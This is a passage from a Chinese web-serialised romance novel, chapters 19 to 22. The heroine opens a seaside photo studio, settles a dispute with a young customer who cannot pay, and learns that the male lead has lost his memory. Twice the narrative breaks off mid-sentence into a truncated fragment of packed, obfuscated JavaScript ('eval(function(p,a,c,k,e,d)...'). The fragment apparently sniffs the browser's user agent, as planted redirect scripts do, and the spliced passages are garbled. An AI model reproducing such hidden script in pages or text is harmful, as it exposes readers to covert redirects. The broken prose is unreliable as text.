“这是加分项罢了,我看中的是人品。”步梨漫不经心地纠正,开始一一翻看刚才给沈思筝拍的写真,嘴里喃喃自语,“这张不错,到时候洗出来挂在宣传墙上怎么样?” “挺好的,我给你介绍一个优质男,怎么样?”沈思筝怕她被男人骗,几乎使出了浑身解数。 “这个也好看!介绍什么?”步梨注意力全在照片上。 “我之前在社团认识的一个学长,模样人才都好,主要是人品好,之前在报社工作,现在转行成了小网红,有好几万粉丝呢。” “不要!”步梨拒绝得很干脆,“走吧,下一个景点。” ...... 花溪县城这边除了海景,街道也十分整洁好看,浪漫的海街之间不失市井的气息,漫步其中的人总会享受到生活之余不可缺少的松弛感。 原打算慢节奏地边拍摄边旅游,结果计划赶不上变化。 沈思筝在这里待了两天,就接到了医院那边打来的电话,催人回去加班。 说是原定去义诊的医生生了病去不了,人手紧缺,组织只能把沈思筝召唤回去。步梨的样片还有两组没拍,只能先攒着再说,总归手里已经有了可供宣传的样片,后续再慢慢推出新片就行。 步梨和沈思筝正在吃早饭,原是在商量了拍摄工作,以及拍完再去哪里放松一下,这一通电话完全打乱了两人的计划。 步梨皱着眉头帮沈思筝收拾东西,“不能换别人去吗?” “人在江湖,身不由己。”沈思筝摇着头叹了口气,“我放假了再来看你,或者你早点回江北。” “记住了,别被渣男骗。”沈思筝走之前再三叮嘱。 “知道了知道了。”步梨不禁扶额。 “剩下没拍的两组,如果你后面找不到人,我就再来,或者我推荐朋友来,”沈思筝凑近,色眯眯道,“回头我帮你问问那个帅气学长哦。” “随你吧。”步梨无奈地敷衍,手上也没停,给她的行李箱里塞满了花溪镇的特产,都是虾干鱿鱼干之类的。 她把沈思筝送到了县城的车站,依依不舍地告别后,在海边散了会儿步,到点儿后便坐着张叔的大巴车回了花溪镇。 她从望潮超市木工坊路过。 陆时生正在擦他的电动车。 步梨心里轻笑。 这么喜欢车? 她望过去,忽然觉得,他的气质还挺适合玩机车的。陆时生要是一个富二代,估计会买车如买衣服,就跟温故一样。 怎么会突然想到那个人? 步梨晃了下脑袋,将脑子里浮出的人影摇晃出去。 她怎么会有这么可笑的想法,把陆时生认成了温故呢?沈思筝是见过陆时生的,若他是温故,沈思筝怎么可能认不出? 步梨骑车过去打了个招呼,看见旁边还站着一个女生,在跟陆时生聊天。 她认出来女生是冯雅,朝她笑了笑,忽地又想到,冯雅见过她吗?上次她躲在快递架后面没出去,所以冯雅好像还不认识她。 “那个......我叫步梨。”步梨沉思片刻,还是做了个自我介绍。 “步梨?”冯雅拧眉看着她,“我们之前见过?” “没有。”上次见面,是步梨不礼貌地偷听,说出来不好,她正想着后续怎么说,陆时生已经拿下巴指了指她,“新来的。” “我来了挺久了。”步梨纠正道。 “哦。”冯雅似乎没什么兴致,看了她一眼,便转了头,不过她并不是没再看步梨,只是从直视变成了偷瞄。 冯雅偷瞄了两眼后,目光又回到陆时生身上,愁声道:“时生哥,你说我到底要听谁的?我不想出去工作,可我也不想相亲。” “听你自己的。”陆时生言简意赅地给出建议,将目光转向步梨,“写真馆筹备得怎么样了?什么时候开业。” 步梨都准备要走了,突然反应过来陆时生这问题是在问她,便答道:“哦,三月十八号,陆大老板要来捧场吗?” 陆时生模棱两可道:“忙得很,得空就去。” “什么写真馆?”冯雅眼睛亮了一下。 步梨见她有兴趣,很热情地向她介绍了自己的写真馆。 “要来拍吗?开业会有八折优惠,三个场景1299,定金只要99元哦。” 冯雅听到要钱,语气开始变得含糊,“我想想,祝你开业大吉。” “多谢,先走了。”步梨小电驴钥匙一拧,飞速闪人。 19. 香瓜写真馆开业大吉 三月十八日,阳光灿烂,暖风和煦,诸事皆宜。 经过近一个月的筹备,在一个春风和煦的日子,香瓜写真馆开业了。 没有鞭炮声,也没有什么轰轰烈烈的剪彩仪式,香瓜写真馆就在花溪镇的一个平常的小街上,默默地开业了。 虽然开业之前,步梨特意制作了传单和宣传立牌,还把传单放在陆时生的店里请他帮忙宣传,但开业第一天,步梨倒也没指望会有顾客。 如她所料,一直到下午,都没有人过来。 只有早上的时候,陆时生送来了一箱快递。 因为她买了很多,大大小小的纸箱带着很零碎,陆时生便用一个大箱子一块装了过来,放这儿后说了两句话就走了。 陆时生:“开业了?” 步梨:“嗯,布置得怎么样?” 陆时生:“还行,一半不都是我布置的?” 步梨:“.......确实,辛苦了。” 陆时生:“不辛苦,走了,早上店里忙。” 他把电动车开出机车的速度,几秒后就消失在了街道尽头。 连句开业祝福语都不说。 步梨一个人在店里待了半天,想出去散散步,又担心会有人过来。 好像开店之后,自由便消失了。 不如以后就采取预约制,这样没有预约的日子,她还是完全自由的。 也不知道陆时生这会儿在干嘛。 她想他干嘛,步梨被她脑子里突然冒出来的想法吓了一跳。 大概是她太盼着有顾客来的缘故吧。 总归她在花溪镇也不认识几个人。 不过陆时生是指望不上了,他肯定也不会拍写真的。 步梨这时才想起他一早上送来的快递都没拆,里面是她买的一些护肤品和彩妆,一些自己用,一些是工作用的,大大小小的纸箱足足有九个。 步梨一一打开,拆到第六个的时候,发现这不是自己的快递。 就是一个纸箱子,用胶带简单地封上。 不会是什么危险物品吧? 步梨吓一跳,转念又想,自己怕是恐怖小说看多了,又不是寄到她家里的,是陆时生送过来的,怎么可能是危险物品。 她急忙用小刀就胶带划开,里面竟然是一个摆件,一个木头的小兔子。 小兔子眯缝着眼,模样憨态可掬,两个大门牙格外明显,手里还拿了个条幅,上面写着四个字——开业大吉。 步梨心花怒放,觉得陆时生这人还挺腼腆,送礼都要藏在这里面。 她立刻给陆时生发了消息过去。 “挺可爱的,谢谢啦。” 陆时生回得挺快,“才看见?” 步梨斟酌了一下,回道:“你在等我发现它吗?” 陆时生:“有什么可等的?” “哦。” 步梨把手机放下,静静地看了会儿小兔子。 白团团的越看越招人喜欢。 不知为何,陆时生的这句“开业大吉”让她瞬间心潮澎湃,人如受到了莫大的激励,在心里发誓一定要坚持把店开下去。 不敢想象她当时心血来潮有了个想法,现在已经真真实实地自己开了一家店。 步梨还沉浸在梦幻之中,房子里除了她,空无一人,但不妨碍她脑子里畅想写真馆后续的规划。 她将房间还有院子里各处的摆设都检查了一遍,院子里的花开了不少,现在是花期,拍出来会十分好看。 她现在只有五个场景可拍,两个房间腾出来拍摄家居风,院子里有一处花海秋千,还有两组在海滩。 海边的小街还需要找人来拍样片,她跟沈思筝去海边拍的时候,她背了很沉的一个大包来放化妆品,打光板之类的道具,因为体力不支样片没有拍完。 步梨想到这里,忽然觉得自己需要一个助理。 她迅速开了电脑,手指飞快敲出几个字,“招聘启事”。 “现招聘拍摄助理一名,要求吃苦耐劳......” “薪资......1500?” 是不是有点少,2000? 还是分底薪还奖励金? 步梨正思考薪资应该给多少合适,忽然听到敲门的声音。 “步、步老板,我来拍写真,可以吗?” 步梨抬头,见到门口竟然是冯雅。 她忙站起身来迎接,和颜道:“当然可以啊,不过喊我步梨就行啦。” 冯雅道:“你比我大,我还是喊你姐姐吧。” 步梨摆摆手,“都行。” 她伸手指了宣传墙的方向,“那边都是样片,你看看想拍哪种,或者这里也有相册。” “好漂亮。”冯雅盯着照片里坐在秋千上的女生发出感叹,脑海里把人脸换成自己的,好美好梦幻。 “我拍出来也是这样吗?” “是的,稍微可能有点不同,不过景色风格是一样的,你也可以加入自己的个人喜好。” “不用了,我就拍这个!”冯雅十分坚决。 昨天在望潮木工坊的门口,她听说这个秋千是陆时生亲手扎的时候,就下定了决心,要来这个秋千上面拍人生的第一组写真。 步梨将价格和流程给她讲了一遍,冯雅看起来非常喜欢这组写真,她说什么冯雅都是笑着点头,脸上带着憧憬的笑容,不禁让步梨觉得自己的服务很到位。 “我记得之前你说的价格是99来着。”冯雅道。 “99是定金。” “什么是定金?” “就是拍之前先付99,其余的1200元,拍完再付。” “我现在给你99,就能拍?”冯雅道。 步梨点头。 冯雅开心道:“好,我拍。” 步梨见她兴奋的样子,自己也跟着开心。她心里暗暗地想,开店还真挺有意思的,第一个顾客的写真照,她也一定要拍得漂亮。 “好了,那来化妆吧。” 冯雅惊讶:“还给化妆?我来的时候化了妆的。” 唉.......看出来了......步梨看着她两个大黑眼圈,迅速掏出卸妆水和化妆棉,“我先帮你卸了吧,然后重新给你化。” “为什么?”冯雅疑惑,她对自己的化妆技术很满意。 步梨不忍心打击她,说道:“和照片风格不太相符。” “行吧。”冯雅勉强坐下。 半小时后,冯雅发出了人生感叹。 她有点不相信镜子里的人就是自己。 “我的眼睛是怎么变得这么大的?” 步梨笑着答道:“假睫毛很放大眼睛的。” 冯雅掏出手机开始自拍,见她满意,步梨也如释重负。 咔咔拍了几张,冯雅打开微信。步梨站在她旁边,瞥到她的聊天框,最上面被置顶了的就是陆时生。 冯雅并没有避讳着步梨,那美滋滋的架势似乎是故意当着步梨的面点开微信,见步梨的目光垂下来时,还问步梨了一句,“步梨姐,哪张好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯雅不像沈思筝那样会摆拍,每一个动作都需要指导,步梨不厌其烦地帮她调整动作,三套场景下来半天就过去了,冯雅先累到主动提出结束拍摄。 步梨本着顾客就是上帝的原则,是想提供超级到位的服务的,所以给冯雅的拍摄毫不含糊,每一个场景都拍了很多张照片,她也几乎累成狗,手里的相机都开始变得像一个千斤的秤砣。 “确定不拍了?”她问。 冯雅疯狂摇头,“不拍了不拍了,不是已经拍了好多吗?” “好,那我们去选片。”步梨收了相机,贴心地递上一片纸巾。 此时已是日落时分。 天边绽放出一片橘光的晚霞,像是彩色油画。 步梨给冯雅倒了杯水,让她在客厅稍等一会儿,自己去电脑前把照片全都导出来。 冯雅累坏了,一杯水咕咚几口一饮而尽后,便累瘫在沙发上。 过了会儿,她又拿起手机开始自拍。 步梨看着她,心道了一声小孩。 等照片传输完毕,步梨把她喊过来选片。 “你可以选两张洗出来,这是赠送的,还可以选相框。” “如果超过两张呢?”冯雅问。 “那就要加钱啦,不过这些拍的照片我全部都会发给你的。” 冯雅点点头,“好吧,那我只选两张。” 20. 收获模特一枚 冯雅纠结好半天都没选出两张了,她觉得全都好看,选了这个又不想放弃那个。 步梨也不着急,反正也没有别的事,悠闲地坐在一边等着她选,她待了会儿,见冯雅一时半会儿选不出来,便去厨房切了点水果。 半小时后,冯雅最终敲定了两张,“步梨姐,我就选这两张好了。” 步梨将照片标记上,把果盘端给冯雅,开始打印照片。 她把照片塑封好,装进相框里。第一次给顾客做这些,整套流程非常顺利。 “如果没问题的话,就可以付尾款啦。”她把相框交给冯雅。 冯雅接过相框的手一颤,“尾款?” 她表情震惊。 步梨也有点震惊,同时心里生出一种不祥的预感,“嗯啊。” “多少?” “1200。” 一问一答的两个人都是战战兢兢。 “要现在付吗?”冯雅再次问。 步梨点点头。 实则有些无语,这还用问? 冯雅沉默了一会儿,最终诚实道:“可我没钱。” 步梨第一次做生意,没有应对顾客的经验,但也没见过这种现场理直气壮赖账的情况。 “你想赖账?”步梨直言道。 她的问法有些直接了。 被她这么质问,冯雅一时觉得丢了面子,脸色沉下来,不满道:“可你说的只要99啊。” “你拍了三套写真,价格是1299,定金是99,剩下的1200拍完再付,我已经和你说过了,而且合同上也写得明明白白,什么时候说只要99了。”步梨身心俱疲。 她很强硬,冯雅终归不是有理的一方,气势弱了起来,低声问:“那非要现在付吗?你又没说要马上付。” 步梨扶额,她说的是拍完付,难道她理解成了拍完之后多久来付钱都行吗? 不过小姑娘显然是手里没钱,步梨倒也不想难为她,想了想,说道:“可以给你几天时间,但不能超过一周。” 冯雅有些低落,她做事习惯不想太多,心头一热想拍几张好看的照片发给陆时生,就兴奋地来了,拍之前也没细想步梨说的什么定金尾款,就以为99就可以拍。 虽然步梨给她延了时间,但不管一天还是一周,她还是得给家里要钱,爸妈要是知道她花这么多钱就弄了几张照片,肯定会骂她的。 冯雅人都蔫了,咬着手指愁了一会儿,最终给陆时生拨了电话过去。 “生哥,你有钱吗?借我一点呗。” “我来拍写真,结果被扣在店里了。” 步梨有些黑脸,请注意用词可以吗?冯雅说的就跟她这里是黑店一样。 冯雅挂了电话,走到步梨身边耷拉着眼皮说道:“生哥一会儿来帮我送钱。” 步梨便也作罢,两人开始大眼瞪小眼坐在这儿等陆时生。 时间一分一秒过去。 等陆时生的时候,步梨吸取经验,在合同里付尾款的那里加了“当日付清”几个字。 她又谨慎地梳理了一遍合同,检查有没有其他地方还存在漏洞。 没过多久,陆时生到了。 进门后,他无奈地看了眼冯雅,丝毫不掩饰目光里的冷冽,那冷峻里似乎有把刀,让人不寒而栗。 冯雅被他看得浑身发毛,像个犯了错误的小孩一样,双手绞在一起垂在身前。 步梨看他一眼,然后垂下头,笑着说了句,“没想到你管的事还挺多。” 说话时,她很努力地隐藏了情绪里的不悦。 陆时生没接话,从裤兜里掏出几张红色钞票递给步梨,步梨数了下,正好十二张。 “能放人了吗?” 他声音有些哑,听起来凌厉低冷。 步梨忽的有些委屈,反问道:“我是绑架小姑娘的□□老大吗?” 陆时生绷着嘴角,冷冷的目光落下来,意识到自己态度有些不好。他刚刚是因为生冯雅的气,没注意和步梨说话时地态度,一时有些懊恼。 他的脸色由冷峻急转为柔和,转身的同时散漫又不经意地轻笑了一声,“在生气?” 步梨瞥了他一眼,然后高傲地收回目光,看向别处,并没有接他的钱。 “你怎么这么好心,帮小姑娘付钱?” 陆时生有些无奈,低声说:“没办法,沾了点亲戚。” 步梨用牙签插了个水果吃,垂着眼道:“之前送桂香奶奶去医院也是你花的钱吧,这个月生活费还够吗?” 陆时生双手撑着桌子俯下身来,靠近她低声道:“有积蓄,不用操心。” 步梨翻了个白眼,“不让我管,你管的事倒是不少。” 陆时生笑了声,直起身来说道:“我会要回来的,回头我就带她去家里找冯叔教训她一顿,这么大人了花钱一点规划都没有,成什么样子?” 他看了眼冯雅,脸上的笑容已经消失殆尽。 “生哥,能不要告诉我爸吗?”冯雅站在一边,哭丧着脸小声问。 “不行。”陆时生很坚决。 “可......”冯雅张了张嘴,对上陆时生的目光,被吓得一个字都说不出来。 陆时生垂眼见到桌上的相框,顺手拿了起来,“这是照片?” “嗯。”冯雅嗯了一声。 陆时生叹口气,“拍这个得花大半天的时间吧,给你折腾这么半天,你拍完还不付钱,真有你的。” 冯雅撇撇嘴,喊道:“知道错了,我不是想拍好看的照片给你看吗?” “我没兴趣看,你自己留着吧。” 陆时生声音冷漠,不知道是不是因为生气,他的话直接且无情,冯雅听了,一双大眼睛里顿时就渗出了眼泪。 她全然没了之前的兴奋,此时低着头看着脚尖,偶尔小心翼翼地朝步梨的方向看去,希望她能网开一面帮忙说几句话。 步梨被她委屈又可怜的目光刺痛到,顿时心软几分,想了一下,最终还是于心不忍道:“算了,小孩不懂事,你也别太难为她了。” “不说她永远不长教训,”陆时生语气愈发严肃,“还有,听你爸妈的话,要么重新考试去上学,要么找个工作,别老天天来我这儿转悠。” 冯雅皱着眉,委屈巴巴地小声嘀咕了句:“我不是喜欢你才去你那里的吗?” 步梨往身后靠了靠,一副置身事外吃瓜的样子,静静看着陆时生的反应。 冯雅去年还在读高中,可能还没成年,瘦瘦的一小孩杵在那儿半天了都没动,步梨看得都有些心疼,可陆时生却比她还像局外人,阴冷又掺了几分烦闷的目光一收,冷淡的语气说道:“说过了,我不喜欢小孩。” 冯雅情绪有些激动,忽的喊了一句,“我不是小孩了!” 陆时生睨了她一眼,命令道:“你在我眼里一直是小孩,赶紧回家写作业。” “我没作业!”冯雅双手握拳,激动地喊,“我也不考试,不上学,我会找工作的!” “那就去找工作,不然就回家老实呆着。”陆时生训斥道。 冯雅眼睛都哭红了,步梨心生同情,端了盘草莓上前安慰冯雅:“别哭了,草莓吃吗?” 冯雅一把将她手里的草莓拍落在地,“我不吃!” 陆时生见她这副刁蛮状,气又涌上来,又要开口,被步梨拦住。 步梨耐心地将草莓捡起来放进垃圾桶里,顺手抽了两张纸巾给冯雅擦眼泪,“不然这样吧,姐姐给你免了这次的费用,你别哭 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冯雅一直在哭,耍小脾气,陆时生实在无奈,便答应了下来。 不过这件事她居然提了两次,看来是真的很想让他来。 陆时生眼底闪过一丝不易察觉的惬意,语气依然很平淡,“随便。” 陆时生不知道自己为什么会答应,其实他完全可以拒绝。 他这是被步梨绕进去了!钱是冯雅欠下的,他先垫了,然后去找冯叔要便是,何必揽下这苦差事? 冯雅脸上泪水还没干,但已经不哭了,在原地呆愣了一会儿才反应过来这场“风波”似乎已经过去,她不需要付钱了,那她爸爸应该也不会知道这件事了。 一时她连谢谢都忘了说,只给步梨投以感激的目光。 步梨拍了拍她的肩膀,轻声道:“也别高兴过了头,犯了错还是要及时改正的,姐姐这里正好在招拍摄助理,你要不要来试试?” 冯雅问:“助理是做什么?” “就是给我打下手,帮忙拎拎包之类的,如果愿意的话,周四就要过来帮忙,那天是试用期,没有工资,表现良好才能通过。” “通过了之后,我就有工作了吗?” 步梨点头,“算是吧。” 她尽量让自己听着像是刻薄的老板,但无奈顶着一张柔和甜美的脸,完全刻薄不起来,倒像只外形可爱但神态傲娇的猫。 冯雅抬头,目光里的诧异还没完全褪去。 她没想到步梨会对她这么好。 一开始她对步梨的态度并不算太好。在她眼里,步梨漂亮、有钱,确切地说,是太过漂亮,太过有钱,以至于给她一种感觉是,步梨跟他们就是两个世界的人。 她一边向往,一边嫉妒。 她不是不讲道理的人,一手交钱一手交货的道理她明白,她也确实有做事顾头不顾尾的毛病,不然她也不会心虚到喊陆时生求助。 只不曾想喊来了一个阎罗,当着外人的面揉碎了她的自尊,还在把她拎回家再承受一阵腥风血雨。 最终还是一个外人出来解围。 经历方才一番风波,步梨在她眼里就是救世主一样的存在,温柔体贴又善解人意,救世主说的什么话她自然都是听的。 冯雅拿衣袖抹了抹眼角的泪痕,咬着嘴唇坚定地说,“步梨姐,以后你让我做什么,我就做什么!” 步梨之前给她化了小猫眼妆,方才她一哭,眼妆都被晕染开来,黑色的眼线被溶解顺着脸颊流下来,形成两条明显的黑线,看起来又可怜又好笑。 步梨忍着笑,帮她擦了擦脸,顺带摸摸她的脑袋顶,“那周四别迟到哦。” 21. 陆模特上岗的第一天 天气预报得不太准,周四当天有点阴天。厚厚的云层像是一团瘫软在床的胖子,一动不动,将太阳遮挡得严严实实,好在春日的日光生命力也旺盛,拼了命从云层后面挤出几道光线。 来的路上,气氛有些尴尬。冯雅还在和陆时生怄气,故意偏着头不理他。 陆时生倒像是个没事人一样,不知道是神经大条没察觉到,还是故作轻松。 大巴车上人不少,他们上车的时候,只剩下零零散散几个空座位,步梨张望了一下,看到最后一排没有人,能三个人连着坐。 “我们去后面坐?”她道。 陆时生嗯了一声。 刚一抬脚,便感觉身前有一个身影从他边上蹭了过去,坐到右边的位置上。 “我不去,我坐前面。”冯雅在前面找了一个单独的座位坐下,瘪着嘴说。 陆时生看了她一眼,无奈收回目光,提醒了句,“好好坐着,别丢东西。” 冯雅没理他。 步梨在最角落里坐下来,等陆时生坐在她身边,她小声在他耳边道:“小孩生气了,你也不道个歉。” 陆时生疑惑,“有什么可道歉的?” “就是......”步梨想了一下,觉得陆时生好像也没什么错,确实不该道歉,她斟酌了一下措辞,说道,“有的话最好不要说得太直白,小姑娘都是有自尊心的。” 陆时生绷着脸道:“委婉的话我不是没说过,只是她听不懂。” 步梨叹口气,说道:“那你好歹哄哄她。” 陆时生语气轻淡,“没那个耐心哄人。” 步梨也没办法,摇了摇头,没再管。感情这事儿总归也是管不了,只让当事人自己慢慢自愈去好了。 过了会儿,她又心血来潮,笑眯眯地转头问陆时生:“你真不喜欢她?” 陆时生没看她,语气里有几分不耐烦,“你说呢?” 步梨确实不厌其烦,眨眨眼追问道:“那你喜欢谁?” 陆时生笑了声,“我就必须喜欢谁?” 步梨想起冯雅的话,也学着来问,“你都一把年纪了,还不找人谈个恋爱什么的,不是因为在等谁吗?” 陆时生看了她一眼,“无聊。” “好吧。”步梨也觉得这对话有些无聊,便没继续下去,她从包里翻找出一副耳机,戴上,沉浸在音乐的世界。 陆时生也闭了眼,开启闭目养神模式。 半个小时后,大巴在海边的站点停下来。 步梨背好包,稳稳当当地下了车。 非暑期也非节假日的海边很适合散心。 人少,会显得风景更加开阔。 天边的云层在海面投下暗淡的影子,显得海面深邃又神秘,层层浪涛温柔地拍打着海岸, 风从海上刮过来,总是会凉一些。 这边和之前沈思筝拍的景色不同,虽然都是海,但不在沙滩上。这边有很多礁石,风卷席着海浪来得汹涌激烈,惊起白色的水花,礁石纹丝未动,冷硬且坚韧。 远处有一座灯塔,孤独地伫立在岸边,像一名老者,守望者潮起潮落。 步梨跃跃欲试,调试好了设备,想要在陆时生面前大展身手。 冯雅负责背着道具给她打下手。 陆时生皮肤很好,拍摄前并不需要化妆,步梨也没带化妆品,只把一瓶定型喷雾放在了包里,在拍之前吩咐冯雅拿出来。 冯雅不情不愿地走到陆时生边上,伸手要喷,却够不到。 她绷着脸,噘着嘴说道:“你就不能低点?” 陆时生依言低了头。 冯雅有些烦躁,拿着手里的定型喷雾一顿乱喷。 浓郁的香气钻入鼻腔,陆时生咳嗽了两声,直起身子往后仰了仰,拿胳膊一拦,拒绝道:“算了,我不用这玩意儿。” 冯雅也没勉强,收起定型喷雾,小声嘀咕了句,“爱用不用。” 步梨在一边叹气,也帮不上什么忙,只保持平常心。不比专业模特,怕陆时生局促,步梨事先在网上找了些帅气的动作,让陆时生一会儿拍的时候学着照片里的模特摆出一样的姿势来。 “好啦,那开始拍喽,看这边哦,表情放轻松一些。” “头稍微低一点儿,手能不能抬起来一些?” “步子小一点......” “步子还是大一点吧......” 步梨工作一向认真,抠动作抠得很细,但好像对陆时生不太适用,她一指点,陆时生的动作就尤其别扭,最后还是要调整回去。 陆时生不耐烦的眼神给过来,步梨放弃,摆了摆手,说道:“算了,你随意,自然一点就好。” 镜头里,海天连成一片,蔚蓝色的波涛似乎蒙上一层银色面纱,泛起深邃又神秘的光点,白色栏杆旁,男人身穿白衬衫,随意地站着,偶尔回头望过来。 他天生带有几分慵懒散漫的气质,带了点忧郁与沧桑感。 不需要刻意摆姿势,只往那一站,漫不经心地瞥过来,只看一眼,似乎就能摄人心魄。 海风把他的刘海微微吹起,飘逸自然又随性。 自由发挥后的效果出其地不错。 步梨觉得他眼中的情绪很复杂,像海一样深邃,再看,却仿佛又有些空洞,像是被生活重重蹂躏过后,依旧在硝烟与荆棘中踽踽独行,逐渐沉淀出泰山崩于前而面不改色的镇定与淡然。 步梨说不出为什么会有这种感觉,她咔咔按下按钮,将画面定格。 “拍完了吗?”陆时生在这种事上一向没有耐心。 “别急,再拍几张。” 步梨跑到他前面,换了个角度。 “几张是多少张?”陆时生微微垂眼。 他身上的衬衫有些松垮,风吹过来,勾勒出胸前的肌肉线条,就算隔了一层衣布,也能感受到那身体的力量感。 步梨有些出神地望了他一会儿,脑海里忽然蹦出“诱人”两个字。 “在拍吗?” 陆时生微微眯眼。 “哦,”步梨回过神,“在,再拍两张。” 步梨咔咔咔,又拍了十来张才罢休。 “走吧,换下一个地方。” 下一个..... 陆时生听到这个字就头疼,眉头紧锁着想这无聊的拍摄什么时候到头。 迎面走过来两男两女,“哈喽,请问你们是明星在拍广告吗?” “可不可以给我签个名啊?” “你好帅啊?” “小姐姐也很漂亮!” 没等陆时生开口,其中那个棕色头发的女生叽叽喳喳说了好几句,她眼里放光,看起来十分兴奋,另外的男生也同样,附和着道:“还是头回遇到明星!” 半天,陆时生才找到说话的机会,淡声回应道:“不好意思,我不是明星。” 女生惊讶:“不会吧?你长得这么帅,不是明星是什么?” 她看了眼步梨手里的相机,只感觉对方应该是低调,所以才否认。 就算是小网红,长成这样也早晚成大明星。 她化身小迷妹,一副星星眼雪亮地望着陆时生。 “真不是。”陆时生想走,只是被女生挡着路。 女生面带笑容,眨着眼问:“那是什么?” 陆时生绕开她离开之前,侧头看了一眼步梨,回答道:“她的模特。” ...... 整个拍摄持续了将近五个小时。 虽然是站着就能拍,但这活儿还是挺累人的。他们到拍摄地点的时候就已经将近中午,到现在拍了三个场景,找角度,思考构图,步梨现在脑子空洞,胳膊也酸,停下来休息,才惊讶已经下午四点钟了。 连午饭都没顾得上吃。 此刻他们三个人里似乎只有常年干体力活的陆时生看起来好点,冯雅也几乎站不住,边揉着肚子边喊饿。 步梨在地图上搜索了一家餐馆打算拍摄完去吃,一看营业时间是下午17:30,还有一个小时才开,冯雅实在饿,步梨见她小脸都饿得惨白,便给了她些零用钱,去买点零食过来,先垫垫也好。冯雅顿时来了精神,应了一声,将东西放在地上,小跑着去寻找商店。 低沉的轰鸣声从天边传来。 步梨坐在地上看着方才的照片,后知后觉地抬起头问,“刚才是打雷声? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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步梨叹口气,“那咱俩就只有一把伞。” “有就行。”陆时生似乎没把这件事放在心上,脸上挂着些许不耐烦的表情,坐在冰凉的石板上,过了会儿才带了点感叹地笑了一声,“你选的日子真好。” 步梨无语道:“我哪知道会下雨?” 陆时生垂下眼。他一条腿随意地伸展开,几乎能伸到凉亭中间,另一条腿曲着,手搭在膝盖上,时不时便捶两下。 步梨注意到他这个小动作,过了一会儿才忽地反应过来。 “腿疼?” 陆时生轻声嗯了句,低低的声音淹没在雨声里。 看得出来,他应该是腿疼得不轻,此时在努力忍着痛,步梨有些愧疚,觉得可能今天拍摄任务太重了又赶上潮湿的下雨天,才让陆时生犯了腿疾。 她不清楚该怎么帮忙,如果她是陆时生的女朋友,估计会凑近给他揉揉。 步梨想到这里,猛地回过神来,惊诧自己为什么会冒出这种想法。 她在脑海里重复了一遍老妈告诉她的话,身体不好的男的不能找。 思考片刻,步梨从包里掏出一片暖贴,坐在他身边隔了一步的位置,“要不贴上这个吧。” 陆时生拒绝了那张粉色的贴片,“不用了。” 步梨已经眼疾手快地将包装撕开了,本着不浪费的原则,他还是打算给陆时生贴上。 “是这里吗?” 她定在陆时生方才揉的上方,预备要贴。 陆时生被她逗笑,“这又不是膏药。” 步梨认真道:“热的很快的,暖和些总会有点作用吧。” “这里?” “不用了,你自己用吧。”陆时生将她手里的暖贴拿过来,顺手贴在了步梨的后腰处。 顿时,步梨的后背一僵。 陆时生的手指颤了颤,他似乎也意识到了这个动作有些不妥。 步梨生硬地开口,“贴在衣服外面,有点丑吧。” 陆时生看了一会儿,“你让我帮你贴里面?” “不用了,”步梨连忙摇头,“一会儿走的时候,麻烦你再帮我扯下来吧。” “行。”陆时生点了点头。 22. 年纪轻轻怎么得了老寒腿 步梨后腰处的暖贴很快热乎起来,在身后形成一个小暖炉。 不知道这场雨什么时候会停,步梨忽然觉得,晚点停也挺好的,只是陆时生看起来不太舒服,问他又一直说没事。 步梨开口问道:“你年纪轻轻,怎么会得老寒腿?” 陆时生道:“不太记得。” 这个回答让步梨觉得陆时生在敷衍她。 见她一副不相信的表情,陆时生本打算任由她,过了两秒,大抵是觉得两人在雨里干坐着无聊,他又突然想说点什么。 “我真忘了。”他诚实地说。 “什么意思?”步梨转头看着他。 陆时生认真地解释,“我之前出过一场事故,伤到了头,以前的事都不记得了,腿也是那时候落下的病根。” 一阵沉默。 步梨似乎在花时间处理这句话里包含的信息,过了会儿,才问:“不记得是不记得哪些?全忘了吗?” 陆时生点头,“嗯,刚醒来那会儿,甚至连自己的名字都不知道。” 步梨脸上没表现得太惊愕,心里却如此时的大雨,噼里啪啦落下,溅起无数水花。 她忽然想起之前崔胖无意间的一句吐槽,说陆时生经常拿着儿时的相册反复观看。 步梨想起那次去玩密室的经历,里面失忆的妮可也是经常看相册来努力寻找过去的记忆碎片。 崔胖说陆时生看相册是自恋,现在看来,他大概是在努力寻找从前的记忆。 步梨无法理解真正的失忆的人是什么感受。 大概会空虚,会迷茫,又或许纯粹,一切都是新的开始。 也因为这个,步梨觉得陆时生身上忽然就多了很多未知的事物,他脑子好,身手好,说不定还有很多隐藏的技能被掩盖住了。 “你有没有想过,或许你过去.....”步梨在努力想一个形容词来形容他身上的神秘感,“挺特别的。” 她最终用了这个。 陆时生倒是没否认,点头道:“对,过去抽烟、喝酒,打架,都干过。” 步梨噗嗤一声笑了出来,显然是不信。 但陆时生知道,这些是真的,他的过去真的没有那么好。 陆望潮同他说,他的过去烂透了,甚至毁掉了整个家。他母亲因此去世,家里也欠下了大笔债务。 直到现在,陆望潮依旧对他过去的恶行耿耿于怀,每每提及,都会痛骂他几句,导致陆时生内心十分矛盾。 既然他的过去不堪回首,那于他而言,忘掉后重新开始也是好事。 可他又是个十恶不赦的罪人,做出恶劣的事情之后,自己直接忘掉,让别人承受了恶果。 “我说真的。”陆时生低声道了句。 他不想瞒着步梨,既然要决定痛改前非,就要从此刻开始坦坦荡荡。 步梨愣了愣,欲言又止。 雨声中,步梨的手机铃声响起,是冯雅打来的,她接起来说了几句,陆时生就在旁边看着,最后听到她说:“那你自己明天早点回家哦。” 陆时生从她的话语中猜测冯雅的意思:“她不过来了?” 步梨点头,“说是碰到了老同学,去同学那里住一晚。” 陆时生“嗯”了一声,没再说别的。 步梨倚着栏杆仰头看了会儿,发愁道:“那我们怎么办?” 陆时生思考了一下,开口道:“不然,你先走。” 他这句话一下子将两个人的距离拉远了十万八千里,不说他们都这么熟了,就算是刚认识几天的人,步梨也不可能在这个时间丢下他这个病人自己一个人独自回去。 “不行。” 步梨坚决道。 陆时生道:“一会儿赶不上回镇上的班车了。” 